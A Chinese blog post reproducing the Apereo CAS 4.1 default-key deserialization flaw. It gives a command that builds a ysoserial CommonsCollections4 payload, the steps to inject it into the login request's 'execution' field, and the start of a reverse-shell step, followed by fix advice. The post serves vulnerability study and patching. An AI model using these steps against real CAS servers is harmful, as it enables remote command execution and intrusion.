Apereo CAS 4.1 反序列化命令执行漏洞复现
Apereo CAS 4.1 反序列化命令执行漏洞
漏洞描述
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。Apereo CAS存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
影响版本
Apereo CAS <= 4.1.7
环境搭建
环境启动后,访问http://your-ip:8080/cas/login
即可查看到登录页面。
漏洞复现
漏洞原理实际上是Webflow中使用了默认密钥changeit
:
1 | public class EncryptedTranscoder implements Transcoder { |
我们使用Apereo-CAS-Attack来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload:
1 | java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" |
然后我们登录CAS并抓包,将Body中的execution
值替换成上面生成的Payload发送:
登录Apereo CAS,可见touch /tmp/success
已成功执行:
反弹shell:
1 | # 对shell语句进行base64加密 |
建议在base64加密时使用burp中的加密工具
修复建议
- 修改Webflow中的默认密钥
- 升级到最新版
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 暮余笙のBlog!
评论